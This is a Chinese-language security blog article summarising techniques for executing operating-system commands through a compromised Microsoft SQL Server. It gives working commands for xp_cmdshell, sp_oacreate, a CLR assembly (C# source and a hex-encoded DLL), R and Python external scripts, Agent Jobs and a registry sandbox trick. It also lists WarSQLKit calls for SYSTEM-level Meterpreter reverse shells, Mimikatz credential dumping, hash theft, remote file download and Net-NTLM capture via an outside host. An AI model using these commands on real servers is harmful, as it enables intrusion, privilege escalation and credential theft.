攻击Mssql数据库命令执行总结

admin 2020年8月28日23:11:50评论629 views字数 20029阅读66分45秒阅读模式

内容来源:先知社区

攻击Mssql数据库命令执行总结

0x00 简介

本文的攻击场景如下:

攻击Mssql数据库命令执行总结


演示环境的利用场景:

攻击Mssql数据库命令执行总结


本文将要介绍以下内容:

  • xp_cmdshell利用

  • COM组件利用

  • CLR利用

  • SQL Server 2016 R利用

  • SQL Server 2017 Python利用

  • 沙盒利用(openrowset)

  • Agent Job利用


0x01 xp_cmdshell利用

前提条件:

  • Mssql数据库服务未降权

  • 已获取到数据库密码

xp_cmdshell是Sql Server中的一个组件,我们可以用它来执行系统命令。


判断xp_cmdshell状态

我们可以在master.dbo.sysobjects中查看xp_cmdshell状态


select * from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'


xtype为对象类型,xtype='x'这里表示xp_cmdshell的对象类型为扩展存储过程。

攻击Mssql数据库命令执行总结

只用判断存在,利用count(*)即可。

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'

存在即返回1


启用xp_cmdshell

我们可以利用EXEC启用xp_cmdshell

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;


攻击Mssql数据库命令执行总结

利用xp_cmdshell执行命令

通过xp_cmdshell执行系统命令指令如下

exec master..xp_cmdshell 'whoami'


攻击Mssql数据库命令执行总结

恢复被删除的xp_cmdshell

我们可以利用xplog70.dll恢复被删除的xp_cmdshell

Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\xplog70.dll'


0x02 COM组件利用

前提条件:

  • Mssql数据库服务未降权

  • 已获取到数据库密码

我们可以借助Sql Server中的COM组件SP_OACREATE来执行系统命令。


判断SP_OACREATE状态

我们可以在master.dbo.sysobjects中查看SP_OACREATE状态

select * from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'


攻击Mssql数据库命令执行总结

只用判断存在,利用count(*)即可。

select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'


存在即返回1


启用SP_OACREATE

利用EXEC启用SP_OACREATE

EXEC sp_configure 'show advanced options'1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures'1;
RECONFIGURE WITH OVERRIDE;


攻击Mssql数据库命令执行总结

利用SP_OACREATE执行命令

通过SP_OACREATE执行系统命令指令如下


declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:windowssystem32cmd.exe /c whoami >c:\1.txt'


攻击Mssql数据库命令执行总结

此利用方法无回显


0x03 CLR利用

什么是CLR

CLR微软官方把他称为公共语言运行时,从 SQL Server 2005 (9.x) 开始,SQL Server 集成了用于 Microsoft Windows 的 .NET Framework 的公共语言运行时 (CLR) 组件。这意味着现在可以使用任何 .NET Framework 语言(包括 Microsoft Visual Basic .NET 和 Microsoft Visual C#)来编写存储过程、触发器、用户定义类型、用户定义函数、用户定义聚合和流式表值函数。

更多概念详见下方官方链接:

https://docs.microsoft.com/zh-cn/sql/relational-databases/clr-integration/common-language-runtime-clr-integration-programming-concepts?view=sql-server-ver15


编写CLR

利用VS创建MSSQL数据库项目

攻击Mssql数据库命令执行总结


修改目标平台和勾选创建脚本

攻击Mssql数据库命令执行总结


修改目标框架和权限级别

攻击Mssql数据库命令执行总结


创建SQL CLR C# 存储过程

攻击Mssql数据库命令执行总结


写入代码

using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using System.Diagnostics;
using System.Text;
using Microsoft.SqlServer.Server;

public partial class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void ExecCommand (string cmd)
    
{
        // 在此处放置代码
        SqlContext.Pipe.Send("Command is running, please wait.");
        SqlContext.Pipe.Send(RunCommand("cmd.exe"" /c " + cmd));
    }
    public static string RunCommand(string filename,string arguments)
    
{
        var process = new Process();

        process.StartInfo.FileName = filename;
        if (!string.IsNullOrEmpty(arguments))
        {
            process.StartInfo.Arguments = arguments;
        }

        process.StartInfo.CreateNoWindow = true;
        process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
        process.StartInfo.UseShellExecute = false;

        process.StartInfo.RedirectStandardError = true;
        process.StartInfo.RedirectStandardOutput = true;
        var stdOutput = new StringBuilder();
        process.OutputDataReceived += (sender, args) => stdOutput.AppendLine(args.Data);
        string stdError = null;
        try
        {
            process.Start();
            process.BeginOutputReadLine();
            stdError = process.StandardError.ReadToEnd();
            process.WaitForExit();
        }
        catch (Exception e)
        {
            SqlContext.Pipe.Send(e.Message);
        }

        if (process.ExitCode == 0)
        {
            SqlContext.Pipe.Send(stdOutput.ToString());
        }
        else
        {
            var message = new StringBuilder();

            if (!string.IsNullOrEmpty(stdError))
            {
                message.AppendLine(stdError);
            }

            if (stdOutput.Length != 0)
            {
                message.AppendLine("Std output:");
                message.AppendLine(stdOutput.ToString());
            }
            SqlContext.Pipe.Send(filename + arguments + " finished with exit code = " + process.ExitCode + ": " + message);
        }
        return stdOutput.ToString();
    }
}


启用MSSQL CLR功能

MSSQL CLR功能默认关闭,利用以下语句启用。


sp_configure 'clr enabled'1
GO
RECONFIGURE
GO


攻击Mssql数据库命令执行总结


为了导入了不安全的程序集,我们还需要执行以下语句将数据库标记为安全。

ALTER DATABASE master SET TRUSTWORTHY ON;


攻击Mssql数据库命令执行总结


利用SQL语句导入程序集

CREATE ASSEMBLY [Database1]
    AUTHORIZATION [dbo]
    FROM 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C0103006E587C5E0000000000000000E00022200B013000000E00000006000000000000522C0000002000000040000000000010002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000002C00004F00000000400000A802000000000000000000000000000000000000006000000C000000C82A00001C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E74657874000000580C000000200000000E000000020000000000000000000000000000200000602E72737263000000A8020000004000000004000000100000000000000000000000000000400000402E72656C6F6300000C0000000060000000020000001400000000000000000000000000004000004200000000000000000000000000000000342C00000000000048000000020005007C2200004C0800000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000CA00280600000A72010000706F0700000A00280600000A7243000070725300007002280800000A28020000066F0700000A002A001B300600BC0100000100001173040000060A00730900000A0B076F0A00000A026F0B00000A0003280C00000A16FE010D092C0F00076F0A00000A036F0D00000A0000076F0A00000A176F0E00000A00076F0A00000A176F0F00000A00076F0A00000A166F1000000A00076F0A00000A176F1100000A00076F0A00000A176F1200000A0006731300000A7D010000040706FE0605000006731400000A6F1500000A00140C00076F1600000A26076F1700000A00076F1800000A6F1900000A0C076F1A00000A0000DE18130400280600000A11046F1B00000A6F0700000A0000DE00076F1C00000A16FE01130511052C1D00280600000A067B010000046F1D00000A6F0700000A000038AA00000000731300000A130608280C00000A16FE01130711072C0B001106086F1E00000A2600067B010000046F1F00000A16FE03130811082C22001106725D0000706F1E00000A261106067B010000046F1D00000A6F1E00000A2600280600000A1C8D0E000001251602A2251703A225187275000070A22519076F1C00000A13091209282000000AA2251A72AD000070A2251B1106252D0426142B056F1D00000AA2282100000A6F0700000A0000067B010000046F1D00000A130A2B00110A2A011000000000970025BC0018080000012202282200000A002A4E027B01000004046F2300000A6F1E00000A262A00000042534A4201000100000000000C00000076342E302E33303331390000000005006C000000A8020000237E000014030000B403000023537472696E677300000000C8060000B4000000235553007C0700001000000023475549440000008C070000C000000023426C6F620000000000000002000001571502000902000000FA0133001600000100000014000000030000000100000005000000050000002300000005000000010000000100000003000000010000000000D60101000000000006007001BA0206009001BA0206004601A7020F00DA02000006003C03E4010A005A015A020E001503A7020600EB01E40106002C027A0306002B01BA020E00FA02A7020A0086035A020A0023015A020600C401E4010E000302A7020E00D200A7020E004102A70206001402400006002102400006003100E401000000003700000000000100010001001000E9020000150001000100030110000100000015000100040006007003790050200000000096008D007D000100842000000000960099001A0002005C22000000008618A102060004005C22000000008618A102060004006522000000008300160082000400000001007F0000000100F200000002002B03000001003A020000020010030900A10201001100A10206001900A1020A003100A10206005100A102060061001A0110006900A4001500710035031A003900A10206003900F50132007900E50015007100A403370079001D031500790091033C007900C20041007900AE013C00790087023C00790055033C004900A10206008900A1024700390068004D0039004F0353003900FB000600390075025700990083005C003900430306004100B6005C003900A90060002900C2015C0049000F0164004900CB016000A100C2015C00710035036A002900A1020600590056005C0020002300BA002E000B0089002E00130092002E001B00B10063002B00BA0020000480000000000000000000000000000000002700000004000000000000000000000070005F000000000004000000000000000000000070004A00000000000400000000000000000000007000E40100000000030002000000003C3E635F5F446973706C6179436C617373315F30003C52756E436F6D6D616E643E625F5F300044617461626173653100496E743332003C4D6F64756C653E0053797374656D2E494F0053797374656D2E44617461006765745F44617461006D73636F726C6962006164645F4F757470757444617461526563656976656400636D640052656164546F456E640045786563436F6D6D616E640052756E436F6D6D616E640053656E64006765745F45786974436F6465006765745F4D657373616765007365745F57696E646F775374796C650050726F6365737357696E646F775374796C65007365745F46696C654E616D650066696C656E616D6500426567696E4F7574707574526561644C696E6500417070656E644C696E65006765745F506970650053716C5069706500436F6D70696C657247656E6572617465644174747269627574650044656275676761626C654174747269627574650053716C50726F63656475726541747472696275746500436F6D70696C6174696F6E52656C61786174696F6E734174747269627574650052756E74696D65436F6D7061746962696C697479417474726962757465007365745F5573655368656C6C4578656375746500546F537472696E67006765745F4C656E677468004461746162617365312E646C6C0053797374656D00457863657074696F6E006765745F5374617274496E666F0050726F636573735374617274496E666F0053747265616D526561646572005465787452656164657200537472696E674275696C6465720073656E646572004461746152656365697665644576656E7448616E646C6572004D6963726F736F66742E53716C5365727665722E536572766572006765745F5374616E646172644572726F72007365745F52656469726563745374616E646172644572726F72002E63746F720053797374656D2E446961676E6F73746963730053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300446562756767696E674D6F6465730053746F72656450726F63656475726573004461746152656365697665644576656E744172677300617267730050726F63657373007365745F417267756D656E747300617267756D656E747300436F6E636174004F626A6563740057616974466F7245786974005374617274007365745F52656469726563745374616E646172644F7574707574007374644F75747075740053797374656D2E546578740053716C436F6E74657874007365745F4372656174654E6F57696E646F770049734E756C6C4F72456D707479000000004143006F006D006D0061006E0064002000690073002000720075006E006E0069006E0067002C00200070006C006500610073006500200077006100690074002E00000F63006D0064002E00650078006500000920002F0063002000001753007400640020006F00750074007000750074003A0000372000660069006E00690073006800650064002000770069007400680020006500780069007400200063006F006400650020003D00200000053A0020000000593C457501949B4EAC85A8875A6084DC000420010108032000010520010111110400001235042001010E0500020E0E0E11070B120C121D0E0212210212250202080E042000123D040001020E0420010102052001011141052002011C180520010112450320000204200012490320000E0320000805200112250E0500010E1D0E08B77A5C561934E08903061225040001010E062002011C122D0801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F777301080100070100000000040100000000000000006E587C5E00000000020000001C010000E42A0000E40C000052534453CEC8B2762812304EAEE7EF5EE4D9EC7901000000463A5C746F6F6C735F736F757263655C4461746162617365315C4461746162617365315C6F626A5C44656275675C4461746162617365312E706462000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000282C00000000000000000000422C0000002000000000000000000000000000000000000000000000342C0000000000000000000000005F436F72446C6C4D61696E006D73636F7265652E646C6C0000000000FF250020001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000004C02000000000000000000004C0234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000000000000000000000000000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B004AC010000010053007400720069006E006700460069006C00650049006E0066006F0000008801000001003000300030003000300034006200300000002C0002000100460069006C0065004400650073006300720069007000740069006F006E000000000020000000300008000100460069006C006500560065007200730069006F006E000000000030002E0030002E0030002E00300000003C000E00010049006E007400650072006E0061006C004E0061006D00650000004400610074006100620061007300650031002E0064006C006C0000002800020001004C006500670061006C0043006F00700079007200690067006800740000002000000044000E0001004F0072006900670069006E0061006C00460069006C0065006E0061006D00650000004400610074006100620061007300650031002E0064006C006C000000340008000100500072006F006400750063007400560065007200730069006F006E00000030002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000030002E0030002E0030002E0030000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000C000000543C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
    WITH PERMISSION_SET = UNSAFE;
GO


攻击Mssql数据库命令执行总结


创建存储过程

CREATE PROCEDURE [dbo].[ExecCommand]
@cmd NVARCHAR (MAX)
AS EXTERNAL NAME [Database1].[StoredProcedures].[ExecCommand]
go


攻击Mssql数据库命令执行总结


执行命令

exec dbo.ExecCommand "whoami";


攻击Mssql数据库命令执行总结


更强大的项目

https://github.com/EPICROUTERSS/MSSQL-Fileless-Rootkit-WarSQLKit


0x04 R和Python的利用

前提条件:

  • Machine Learning Services必须要在Python安装过程中选择

  • 必须启用外部脚本

    • EXEC sp_configure 'external scripts enabled', 1

    • RECONFIGURE WITH OVERRIDE

    • 重新启动数据库服务器

  • 用户拥有执行任何外部脚本权限

MSSQL 2017加入了Microsoft机器学习服务,该服务允许通过MSSQL中sp_execute_external_script执行Python和R脚本


R脚本利用

利用R执行命令:

sp_configure 'external scripts enabled'
GO
EXEC sp_execute_external_script
@language=N'R',
@script=N'OutputDataSet <- data.frame(system("cmd.exe
/c dir",intern=T))'

WITH RESULT SETS (([cmd_out] text));
GO


利用R抓取Net-NTLM哈希:

@script=N'.libPaths("\\testhost\foo\bar");library("0mgh4x")'


Python脚本利用

Python 版本:

exec sp_execute_external_script
@language =N'Python',
@script=N'import sys
OutputDataSet = pandas.DataFrame([sys.version])'

WITH RESULT SETS ((python_version nvarchar(max)))


执行命令:

exec sp_execute_external_script
@language =N'Python',
@script=N'import subprocess
p = subprocess.Popen("cmd.exe /c whoami"stdout=subprocess.PIPE)
OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'
WITH RESULT SETS (([cmd_out] nvarchar(max)))


0x05 WarSQLKit

WarSQLKit是一个针对Mssql CLR进行利用的渗透工具,它存在以下两个版本。

  • WarSQLKit

    WarSQLKit是完全版本,内置多种功能。

  • WarSQLKitMinimal

    WarSQLKitMinimal是精简版,只能执行命令。


加载WarSQLKit

根据本文0X03 CLR利用的操作将WarSQLKit导入

攻击Mssql数据库命令执行总结


创建存储过程

CREATE PROCEDURE sp_cmdExec
@Command [nvarchar](4000)
WITH EXECUTE AS CALLER
AS
EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec
GO


攻击Mssql数据库命令执行总结


WarSQLKit CmdExec

WarSQLKit CmdExec实现了以下功能

1、执行任意Windows命令

EXEC sp_cmdExec 'whoami';


攻击Mssql数据库命令执行总结


2、以NT AUTHORITYSYSTEM权限执行Windows命令

EXEC sp_cmdExec 'whoami /RunSystemPriv';


3、以NT AUTHORITYSYSTEM权限运行PowerShell命令

EXEC sp_cmdExec 'powershell Get-ChildItem /RunSystemPS';


4、生成一个以NT AUTHORITYSYSTEM权限运行的X86 Meterpreter反向连接shell

EXEC sp_cmdExec 'sp_meterpreter_reverse_tcp LHOST LPORT GetSystem'


5、生成一个以NT AUTHORITYSYSTEM权限运行的X64 Meterpreter反向连接shell

EXEC sp_cmdExec 'sp_x64_meterpreter_reverse_tcp LHOST LPORT GetSystem';


6、生成一个以NT AUTHORITYSYSTEM权限运行的X64 Meterpreter RC4反向连接shell

EXEC sp_cmdExec 'sp_meterpreter_reverse_rc4 LHOST LPORT GetSystem'

RC4PASSWORD=warsql


7、生成一个以NT AUTHORITYSYSTEM权限运行的X86 meterpreter_bind_tcp shell

EXEC sp_cmdExec 'sp_meterpreter_bind_tcp LPORT GetSystem';


8、运行Mimikatz功能抓取密码

EXEC sp_cmdExec 'sp_Mimikatz';

获取Mimikatz日志
select * from WarSQLKitTemp


9、文件下载

EXEC sp_cmdExec 'sp_downloadFile http://test.com/file.exe C:ProgramDatafile.exe 300';


10、获取MSSQL Hash

EXEC sp_cmdExec 'sp_getSqlHash';


11、获取Windows Product

EXEC sp_cmdExec 'sp_getProduct';


攻击Mssql数据库命令执行总结


12、获取可用的数据库

EXEC sp_cmdExec 'sp_getDatabases';


攻击Mssql数据库命令执行总结


0x06 备忘录

利用sp_addextendedproc恢复组件

EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_enumgroups ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_loginconfig ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_enumerrorlogs ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_getfiledetails ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc Sp_OACreate ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OADestroy ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAGetErrorInfo ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAGetProperty ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAMethod ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OASetProperty ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAStop ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc xp_regaddmultistring ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regdeletekey ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regdeletevalue ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regenumvalues ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regremovemultistring ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regwrite ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_dirtree ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regread ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_fixeddrives ,@dllname ='xpstar.dll'


利用沙盒执行命令

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',1

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:windowssystem32iasdnary.mdb','select shell("whoami")')


利用Agent Job执行命令

SQL Server代理是一项Microsoft Windows服务,它执行计划的管理任务,这些任务在SQL Server 2019(15.x)中称为作业。

创建作业

USE msdb;
EXEC dbo.sp_add_job @job_name = N'test_powershell_job1';
EXEC sp_add_jobstep @job_name = N'test_powershell_job1'@step_name = N'test_powershell_name1'@subsystem = N'PowerShell'@command = N'c:windowssystem32cmd.exe /c whoami >c:\1.txt'@retry_attempts = 1@retry_interval = 5 ;EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1';
EXEC dbo.sp_start_job N'test_powershell_job1';




攻击Mssql数据库命令执行总结



攻击Mssql数据库命令执行总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年8月28日23:11:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   攻击Mssql数据库命令执行总结http://cn-sec.com/archives/105914.html

发表评论

匿名网友 填写信息